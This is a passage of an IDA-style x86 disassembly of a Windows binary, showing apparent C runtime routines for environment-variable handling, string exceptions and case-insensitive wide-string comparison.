		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB2A0
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB2A4
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4DB2A0, eax


loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB2A8, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D


loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh


loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2A0, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB2A8, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2A8, eax
		jz	short loc_42620F
		mov	[eax], edi


loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB2A0
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx


loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------


loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------


loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------


loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi


loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB2A0, eax


loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 25D0000h
		nop
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB2A0
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]


loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D


loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344


loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB2A0
		sar	eax, 2
		neg	eax


loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB2A0
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB


loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1


loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx


loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------


loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC6DC, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]


loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DC7E1[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------


loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452


loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------


loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEE+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6EF
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_40D6B3
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D10o
					; ___:00427D20o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A8

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------


loc_4264E2:				; DATA XREF: ___:off_427D0Co
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx


loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D1Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:00428094o
		mov	dword ptr [ecx], offset	off_427D1C
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D560+13p
					; sub_40D724+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428090
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D560
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D48o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:0042813Co
		mov	dword ptr [ecx], offset	off_427D48
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B0+15p
					; sub_40D509+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428138
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D48
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D48
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D14o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428178
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426714:				; DATA XREF: ___:00427D50o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428138
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426732:				; DATA XREF: ___:00427D24o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428090
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426750	proc near
		nop
		jmp	near ptr 71B2ACCBh
sub_426750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426756	proc near		; CODE XREF: sub_40CE40+5Ep
					; ___:00414BE5p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		nop
		jmp	near ptr 28520CCh
sub_42675C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417275+E2p
					; sub_417275+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DB334, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h


loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h


loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------


loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2


loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi


loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D68
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------


loc_4267F7:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx


loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_426813:				; DATA XREF: ___:off_427D70o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------


loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D70
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D74o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D90
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	near ptr 26503C4h
		nop
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DB334, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DB334
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DB0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DB58C, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DB58C, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------


loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CAE2C
		push	edi
		push	esi
		nop
		call	near ptr 26410DBh
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DB58C, 2


loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DB58C
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop
		jmp	loc_426B7F
; ---------------------------------------------------------------------------


loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax


loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 281102Fh
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
